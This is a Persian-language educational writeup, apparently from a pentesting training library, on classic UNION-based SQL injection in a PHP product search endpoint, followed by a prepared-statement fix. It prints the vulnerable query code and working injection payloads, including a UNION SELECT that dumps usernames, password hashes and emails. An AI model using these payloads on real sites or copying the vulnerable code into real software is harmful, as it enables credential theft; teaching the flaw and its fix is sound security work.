‹ بازگشت به کتابخانه‌ی رایت‌آپ‌ها
SQL Injection شدت: بحرانی

SQL Injection کلاسیک در فیلتر جست‌وجوی محصولات (بای‌پس با UNION)

یک endpoint جست‌وجو که پارامتر ورودی را مستقیم داخل کوئری خام می‌چسباند؛ از UNION SELECT برای استخراج جدول کاربران و هش رمزها استفاده می‌شود.

نویسنده: تیم PentesterHub

این کد نمونه‌ی یک endpoint جست‌وجوی محصول در یک برنامه‌ی PHP (بدون ORM) است که پارامتر q را بدون پارامتر‌بندی مستقیم در کوئری SQL می‌چسباند:

// routes/search.php — نسخه‌ی آسیب‌پذیر
$q = $_GET['q'] ?? '';
$sql = "SELECT id, name, price FROM products WHERE name LIKE '%$q%'";
$result = $pdo->query($sql);

شناسایی

اولین تست همیشه یک کوئوت تکی است:

GET /search?q=laptop' -> خطای SQL syntax در پاسخ (یا تفاوت رفتار نسبت به ورودی سالم)

وقتی خطا یا تغییر رفتار مشاهده شد، تعداد ستون‌های کوئری اصلی را با ORDER BY پیدا می‌کنیم:

q=laptop' ORDER BY 1-- -
q=laptop' ORDER BY 4-- -   <- اینجا خطا می‌دهد، پس کوئری ۳ ستون دارد

استخراج داده با UNION

حالا که تعداد ستون‌ها مشخص است (۳)، یک UNION SELECT برای خواندن جدول users می‌سازیم:

q=xyz' UNION SELECT username, password, email FROM users-- -

نتیجه: به‌جای لیست محصولات، ردیف‌هایی از نام‌کاربری + هش رمز عبور + ایمیل کاربران واقعی در خروجی جست‌وجو نمایش داده می‌شود — بدون نیاز به هیچ احراز هویتی، چون endpoint جست‌وجو عمومی است.

چرا این اتفاق افتاد

ورودی کاربر هیچ‌وقت نباید مستقیم بخشی از متن کوئری SQL شود. اینجا $q بدون escape و بدون prepared statement وارد رشته‌ی SQL شده.

راه‌حل درست (Prepared Statement)

$stmt = $pdo->prepare('SELECT id, name, price FROM products WHERE name LIKE ?');
$stmt->execute(['%' . $q . '%']);
$result = $stmt->fetchAll();

در Laravel معادل امن همین کار با Eloquent/Query Builder است (که به‌صورت پیش‌فرض parameter binding دارد):

Product::where('name', 'like', '%' . $q . '%')->get();

تمرین عملی در آزمایشگاه‌های SQL Injection ›